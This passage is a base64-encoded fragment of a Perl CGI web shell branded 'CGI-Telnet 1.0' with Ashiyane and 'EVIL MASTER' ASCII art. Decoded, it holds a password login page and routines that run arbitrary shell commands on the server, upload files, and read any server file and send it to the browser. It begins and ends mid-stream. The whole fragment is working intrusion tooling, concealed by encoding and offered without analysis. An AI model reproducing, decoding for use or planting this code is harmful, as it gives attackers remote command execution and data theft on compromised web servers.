YT4NCjwvZm9udD48L3RkPg0KPC90cj4NCjwvdGFibGU+DQo8Zm9udCBjb2xvcj0iIzAwOTkwMCIgc2l6ZT0iMyI+DQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIExvZ2luIFNjcmVlbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50TG9naW5TY3JlZW4NCnsNCgkkTWVzc2FnZSA9IHEkPHByZT48Zm9udCBjb2xvcj0iI2ZmMDAwMCI+IF9fX19fICBfX19fXyAgX19fX18gICAgICAgICAgX19fX18gICAgICAgIF8gICAgICAgICAgICAgICBfDQovICBfXyBcfCAgX18gXHxfICAgX3wgICAgICAgIHxfICAgX3wgICAgICB8IHwgICAgICAgICAgICAgfCB8DQp8IC8gIFwvfCB8ICBcLyAgfCB8ICAgX19fX19fICAgfCB8ICAgIF9fXyB8IHwgXyBfXyAgICBfX18gfCB8Xw0KfCB8ICAgIHwgfCBfXyAgIHwgfCAgfF9fX19fX3wgIHwgfCAgIC8gXyBcfCB8fCAnXyBcICAvIF8gXHwgX198DQp8IFxfXy9cfCB8X1wgXCBffCB8XyAgICAgICAgICAgfCB8ICB8ICBfXy98IHx8IHwgfCB8fCAgX18vfCB8Xw0KIFxfX19fLyBcX19fXy8gXF9fXy8gICAgICAgICAgIFxfLyAgIFxfX198fF98fF98IHxffCBcX19ffCBcX198IDEuMA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCjwvZm9udD48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+ICAgICAgICAgICAgICAgICAgICAgIF9fX19fXyAgICAgICAgICAgICA8L2ZvbnQ+PGZvbnQgY29sb3I9IiNBRTgzMDAiPsKpIDIwMDMsIEFzaGl5YW5lPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj4NCiAgICAgICAgICAgICAgICAgICAuLSZxdW90OyAgICAgICZxdW90Oy0uDQogICAgICAgICAgICAgICAgICAvICAgVU5JVC1YICAgXA0KICAgICAgICAgICAgICAgICB8ICAgICAgICAgICAgICB8DQogICAgICAgICAgICAgICAgIHwsICAuLS4gIC4tLiAgLHwNCiAgICAgICAgICAgICAgICAgfCApKF9vLyAgXG9fKSggfA0KICAgICAgICAgICAgICAgICB8LyAgICAgL1wgICAgIFx8DQogICAgICAgKEBfICAgICAgIChfICAgICBeXiAgICAgXykNCiAgXyAgICAgKSBcPC9mb250Pjxmb250IGNvbG9yPSIjMDA5OTAwIj5fX19fX19fPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj5cPC9mb250Pjxmb250IGNvbG9yPSIjMDA5OTAwIj5fXzwvZm9udD48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+fCpFVklMKnw8L2ZvbnQ+PGZvbnQgY29sb3I9IiMwMDk5MDAiPl9fPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj4vPC9mb250Pjxmb250IGNvbG9yPSIjMDA5OTAwIj5fX19fX19fX19fX19fX19fX19fX19fXw0KPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj4gKF8pPC9mb250Pjxmb250IGNvbG9yPSIjMDA5OTAwIj5AOEA4PC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj57fTwvZm9udD48Zm9udCBjb2xvcj0iIzAwOTkwMCI+Jmx0O19fX19fX19fPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj58LVxNQVNURVIvLXw8L2ZvbnQ+PGZvbnQgY29sb3I9IiMwMDk5MDAiPl9fX19fX19fX19fX19fX19fX19fX19fXyZndDs8L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPg0KICAgICAgICApXy8gICAgICAgIFwgICAgICAgICAgLyANCiAgICAgICAoQCAgICAgICAgICAgYC0tLS0tLS0tYA0KICAgICAgICAgICAgIDwvZm9udD48Zm9udCBjb2xvcj0iI0FFODMwMCI+VyBBIFIgTiBJIE4gRzogUHJpdmF0ZSBTZXJ2ZXI8L2ZvbnQ+PC9wcmU+DQokOw0KIycNCglwcmludCA8PEVORDsNCjxjb2RlPg0KVHJ5aW5nICRTZXJ2ZXJOYW1lLi4uPGJyPg0KQ29ubmVjdGVkIHRvICRTZXJ2ZXJOYW1lPGJyPg0KRXNjYXBlIGNoYXJhY3RlciBpcyBeXQ0KPGNvZGU+JE1lc3NhZ2UNCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgbWVzc2FnZSB0aGF0IGluZm9ybXMgdGhlIHVzZXIgb2YgYSBmYWlsZWQgbG9naW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQ0Kew0KCXByaW50IDw8RU5EOw0KPGNvZGU+DQo8YnI+bG9naW46IGFkbWluPGJyPg0KcGFzc3dvcmQ6PGJyPg0KTG9naW4gaW5jb3JyZWN0PGJyPjxicj4NCjwvY29kZT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIGZvciBsb2dnaW5nIGluDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dpbkZvcm0NCnsNCglwcmludCA8PEVORDsNCjxjb2RlPg0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0ibG9naW4iPg0KbG9naW46IGFkbWluPGJyPg0KcGFzc3dvcmQ6PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFbnRlciI+DQo8L2Zvcm0+DQo8L2NvZGU+DQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIGZvb3RlciBmb3IgdGhlIEhUTUwgUGFnZQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50UGFnZUZvb3Rlcg0Kew0KCXByaW50ICI8L2ZvbnQ+PC9ib2R5PjwvaHRtbD4iOw0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFJldHJlaXZlcyB0aGUgdmFsdWVzIG9mIGFsbCBjb29raWVzLiBUaGUgY29va2llcyBjYW4gYmUgYWNjZXNzZXMgdXNpbmcgdGhlDQojIHZhcmlhYmxlICRDb29raWVzeycnfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEdldENvb2tpZXMNCnsNCglAaHR0cGNvb2tpZXMgPSBzcGxpdCgvOyAvLCRFTlZ7J0hUVFBfQ09PS0lFJ30pOw0KCWZvcmVhY2ggJGNvb2tpZShAaHR0cGNvb2tpZXMpDQoJew0KCQkoJGlkLCAkdmFsKSA9IHNwbGl0KC89LywgJGNvb2tpZSk7DQoJCSRDb29raWVzeyRpZH0gPSAkdmFsOw0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIHNjcmVlbiB3aGVuIHRoZSB1c2VyIGxvZ3Mgb3V0DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dvdXRTY3JlZW4NCnsNCglwcmludCAiPGNvZGU+Q29ubmVjdGlvbiBjbG9zZWQgYnkgZm9yZWlnbiBob3N0Ljxicj48YnI+PC9jb2RlPiI7DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgTG9ncyBvdXQgdGhlIHVzZXIgYW5kIGFsbG93cyB0aGUgdXNlciB0byBsb2dpbiBhZ2Fpbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFBlcmZvcm1Mb2dvdXQNCnsNCglwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9O1xuIjsgIyByZW1vdmUgcGFzc3dvcmQgY29va2llDQoJJlByaW50UGFnZUhlYWRlcigicCIpOw0KCSZQcmludExvZ291dFNjcmVlbjsNCgkmUHJpbnRMb2dpblNjcmVlbjsNCgkmUHJpbnRMb2dpbkZvcm07DQoJJlByaW50UGFnZUZvb3RlcjsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB0byBsb2dpbiB0aGUgdXNlci4gSWYgdGhlIHBhc3N3b3JkIG1hdGNoZXMsIGl0DQojIGRpc3BsYXlzIGEgcGFnZSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBydW4gY29tbWFuZHMuIElmIHRoZSBwYXNzd29yZCBkb2Vucyd0DQojIG1hdGNoIG9yIGlmIG5vIHBhc3N3b3JkIGlzIGVudGVyZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlcg0KIyB0byBsb2dpbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFBlcmZvcm1Mb2dpbiANCnsNCglpZigkTG9naW5QYXNzd29yZCBlcSAkUGFzc3dvcmQpICMgcGFzc3dvcmQgbWF0Y2hlZA0KCXsNCgkJcHJpbnQgIlNldC1Db29raWU6IFNBVkVEUFdEPSRMb2dpblBhc3N3b3JkO1xuIjsNCgkJJlByaW50UGFnZUhlYWRlcigiYyIpOw0KCQkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCgkJJlByaW50UGFnZUZvb3RlcjsNCgl9DQoJZWxzZSAjIHBhc3N3b3JkIGRpZG4ndCBtYXRjaA0KCXsNCgkJJlByaW50UGFnZUhlYWRlcigicCIpOw0KCQkmUHJpbnRMb2dpblNjcmVlbjsNCgkJaWYoJExvZ2luUGFzc3dvcmQgbmUgIiIpICMgc29tZSBwYXNzd29yZCB3YXMgZW50ZXJlZA0KCQl7DQoJCQkmUHJpbnRMb2dpbkZhaWxlZE1lc3NhZ2U7DQoJCX0NCgkJJlByaW50TG9naW5Gb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBjb21tYW5kcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0NCnsNCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50RGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsNCglwcmludCA8PEVORDsNCjxjb2RlPg0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPg0KJFByb21wdA0KPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImMiPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4NCjwvZm9ybT4NCjwvY29kZT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGRvd25sb2FkIGZpbGVzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRGaWxlRG93bmxvYWRGb3JtDQp7DQoJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7DQoJcHJpbnQgPDxFTkQ7DQo8Y29kZT4NCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJkb3dubG9hZCI+DQokUHJvbXB0IGRvd25sb2FkPGJyPjxicj4NCkZpbGVuYW1lOiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+DQpEb3dubG9hZDogPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkJlZ2luIj4NCjwvZm9ybT4NCjwvY29kZT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHVwbG9hZCBmaWxlcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50RmlsZVVwbG9hZEZvcm0NCnsNCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50RGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsNCglwcmludCA8PEVORDsNCjxjb2RlPg0KPGZvcm0gbmFtZT0iZiIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQokUHJvbXB0IHVwbG9hZDxicj48YnI+DQpGaWxlbmFtZTogPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImYiIHNpemU9IjM1Ij48YnI+PGJyPg0KT3B0aW9uczogJm5ic3A7PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJvIiB2YWx1ZT0ib3ZlcndyaXRlIj4NCk92ZXJ3cml0ZSBpZiBpdCBFeGlzdHM8YnI+PGJyPg0KVXBsb2FkOiZuYnNwOyZuYnNwOyZuYnNwOzxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9InVwbG9hZCI+DQo8L2Zvcm0+DQo8L2NvZGU+DQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB0aW1lb3V0IGZvciBhIGNvbW1hbmQgZXhwaXJlcy4gV2UgbmVlZCB0bw0KIyB0ZXJtaW5hdGUgdGhlIHNjcmlwdCBpbW1lZGlhdGVseS4gVGhpcyBmdW5jdGlvbiBpcyB2YWxpZCBvbmx5IG9uIFVuaXguIEl0IGlzDQojIG5ldmVyIGNhbGxlZCB3aGVuIHRoZSBzY3JpcHQgaXMgcnVubmluZyBvbiBOVC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBDb21tYW5kVGltZW91dA0Kew0KCWlmKCEkV2luTlQpDQoJew0KCQlhbGFybSgwKTsNCgkJcHJpbnQgPDxFTkQ7DQo8L3htcD4NCjxjb2RlPg0KQ29tbWFuZCBleGNlZWRlZCBtYXhpbXVtIHRpbWUgb2YgJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gc2Vjb25kKHMpLg0KPGJyPktpbGxlZCBpdCENCjxjb2RlPg0KRU5EDQoJCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCQlleGl0Ow0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB0byBleGVjdXRlIGNvbW1hbmRzLiBJdCBkaXNwbGF5cyB0aGUgb3V0cHV0IG9mIHRoZQ0KIyBjb21tYW5kIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gZW50ZXIgYW5vdGhlciBjb21tYW5kLiBUaGUgY2hhbmdlIGRpcmVjdG9yeQ0KIyBjb21tYW5kIGlzIGhhbmRsZWQgZGlmZmVyZW50bHkuIEluIHRoaXMgY2FzZSwgdGhlIG5ldyBkaXJlY3RvcnkgaXMgc3RvcmVkIGluDQojIGFuIGludGVybmFsIHZhcmlhYmxlIGFuZCBpcyB1c2VkIGVhY2ggdGltZSBhIGNvbW1hbmQgaGFzIHRvIGJlIGV4ZWN1dGVkLiBUaGUNCiMgb3V0cHV0IG9mIHRoZSBjaGFuZ2UgZGlyZWN0b3J5IGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZCB0byB0aGUgdXNlcnMNCiMgdGhlcmVmb3JlIGVycm9yIG1lc3NhZ2VzIGNhbm5vdCBiZSBkaXNwbGF5ZWQuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgRXhlY3V0ZUNvbW1hbmQNCnsNCglpZigkUnVuQ29tbWFuZCA9fiBtL15ccypjZFxzKyguKykvKSAjIGl0IGlzIGEgY2hhbmdlIGRpciBjb21tYW5kDQoJew0KCQkjIHdlIGNoYW5nZSB0aGUgZGlyZWN0b3J5IGludGVybmFsbHkuIFRoZSBvdXRwdXQgb2YgdGhlDQoJCSMgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkLg0KCQkNCgkJJE9sZERpciA9ICRDdXJyZW50RGlyOw0KCQkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuImNkICQxIi4kQ21kU2VwLiRDbWRQd2Q7DQoJCWNob3AoJEN1cnJlbnREaXIgPSBgJENvbW1hbmRgKTsNCgkJJlByaW50UGFnZUhlYWRlcigiYyIpOw0KCQkkUHJvbXB0ID0gJFdpbk5UID8gIiRPbGREaXI+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkT2xkRGlyXVwkICI7DQoJCXByaW50ICI8Y29kZT4kUHJvbXB0ICRSdW5Db21tYW5kPC9jb2RlPiI7DQoJfQ0KCWVsc2UgIyBzb21lIG90aGVyIGNvbW1hbmQsIGRpc3BsYXkgdGhlIG91dHB1dA0KCXsNCgkJJlByaW50UGFnZUhlYWRlcigiYyIpOw0KCQkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50RGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsNCgkJcHJpbnQgIjxjb2RlPiRQcm9tcHQgJFJ1bkNvbW1hbmQ8L2NvZGU+PHhtcD4iOw0KCQkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuJFJ1bkNvbW1hbmQuJFJlZGlyZWN0b3I7DQoJCWlmKCEkV2luTlQpDQoJCXsNCgkJCSRTSUd7J0FMUk0nfSA9IFwmQ29tbWFuZFRpbWVvdXQ7DQoJCQlhbGFybSgkQ29tbWFuZFRpbWVvdXREdXJhdGlvbik7DQoJCX0NCgkJaWYoJFNob3dEeW5hbWljT3V0cHV0KSAjIHNob3cgb3V0cHV0IGFzIGl0IGlzIGdlbmVyYXRlZA0KCQl7DQoJCQkkfD0xOw0KCQkJJENvbW1hbmQgLj0gIiB8IjsNCgkJCW9wZW4oQ29tbWFuZE91dHB1dCwgJENvbW1hbmQpOw0KCQkJd2hpbGUoPENvbW1hbmRPdXRwdXQ+KQ0KCQkJew0KCQkJCSRfID1+IHMvKFxufFxyXG4pJC8vOw0KCQkJCXByaW50ICIkX1xuIjsNCgkJCX0NCgkJCSR8PTA7DQoJCX0NCgkJZWxzZSAjIHNob3cgb3V0cHV0IGFmdGVyIGNvbW1hbmQgY29tcGxldGVzDQoJCXsNCgkJCXByaW50IGAkQ29tbWFuZGA7DQoJCX0NCgkJaWYoISRXaW5OVCkNCgkJew0KCQkJYWxhcm0oMCk7DQoJCX0NCgkJcHJpbnQgIjwveG1wPiI7DQoJfQ0KCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCSZQcmludFBhZ2VGb290ZXI7DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBkaXNwbGF5cyB0aGUgcGFnZSB0aGF0IGNvbnRhaW5zIGEgbGluayB3aGljaCBhbGxvd3MgdGhlIHVzZXINCiMgdG8gZG93bmxvYWQgdGhlIHNwZWNpZmllZCBmaWxlLiBUaGUgcGFnZSBhbHNvIGNvbnRhaW5zIGEgYXV0by1yZWZyZXNoDQojIGZlYXR1cmUgdGhhdCBzdGFydHMgdGhlIGRvd25sb2FkIGF1dG9tYXRpY2FsbHkuDQojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmllZCBmaWxlbmFtZSBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnREb3dubG9hZExpbmtQYWdlDQp7DQoJbG9jYWwoJEZpbGVVcmwpID0gQF87DQoJaWYoLWUgJEZpbGVVcmwpICMgaWYgdGhlIGZpbGUgZXhpc3RzDQoJew0KCQkjIGVuY29kZSB0aGUgZmlsZSBsaW5rIHNvIHdlIGNhbiBzZW5kIGl0IHRvIHRoZSBicm93c2VyDQoJCSRGaWxlVXJsID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsNCgkJJERvd25sb2FkTGluayA9ICIkU2NyaXB0TG9jYXRpb24/YT1kb3dubG9hZCZmPSRGaWxlVXJsJm89Z28iOw0KCQkkSHRtbE1ldGFIZWFkZXIgPSAiPG1ldGEgSFRUUC1FUVVJVj1cIlJlZnJlc2hcIiBDT05URU5UPVwiMTsgVVJMPSREb3dubG9hZExpbmtcIj4iOw0KCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7DQoJCXByaW50IDw8RU5EOw0KPGNvZGU+DQpTZW5kaW5nIEZpbGUgJFRyYW5zZmVyRmlsZS4uLjxicj4NCklmIHRoZSBkb3dubG9hZCBkb2VzIG5vdCBzdGFydCBhdXRvbWF0aWNhbGx5LA0KPGEgaHJlZj0iJERvd25sb2FkTGluayI+Q2xpY2sgSGVyZTwvYT4uDQo8L2NvZGU+DQpFTkQNCgkJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoJCSZQcmludFBhZ2VGb290ZXI7DQoJfQ0KCWVsc2UgIyBmaWxlIGRvZXNuJ3QgZXhpc3QNCgl7DQoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsNCgkJcHJpbnQgIjxjb2RlPkZhaWxlZCB0byBkb3dubG9hZCAkRmlsZVVybDogJCE8L2NvZGU+IjsNCgkJJlByaW50RmlsZURvd25sb2FkRm9ybTsNCgkJJlByaW50UGFnZUZvb3RlcjsNCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiByZWFkcyB0aGUgc3BlY2lmaWVkIGZpbGUgZnJvbSB0aGUgZGlzayBhbmQgc2VuZHMgaXQgdG8gdGhlDQojIGJyb3dzZXIsIHNvIHRoYXQgaXQgY2FuIGJlIGRvd25sb2FkZWQgYnkgdGhlIHVzZXIuDQojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBzZW50Lg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFNlbmRGaWxlVG9Ccm93c2VyDQp7DQoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOw0KCWlmKG9wZW4oU0VOREZJTEUsICRTZW5kRmlsZSkpICMgZmlsZSBvcGVuZWQgZm9yIHJlYWRpbmcNCgl7DQoJCWlmKCRXaW5OVCkNCgkJew0KCQkJYmlubW9kZShTRU5ERklMRSk7DQoJCQliaW5tb2RlKFNURE9VVCk7DQoJCX0NCgkJJEZpbGVTaXplID0gKHN0YXQoJFNlbmRGaWxlKSlbN107DQoJCSgkRmlsZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsNCgkJcHJpbnQgIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC11bmtub3duXG4iOw0KCQlwcmludCAiQ29udGVudC1MZW5ndGg6ICRGaWxlU2l6ZVxuIjsNCgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSQxXG5cbiI7DQoJCXByaW50IHdoaWxlKDxTRU5ERklMRT4pOw0KCQljbG9zZShTRU5ERklMRSk7DQoJf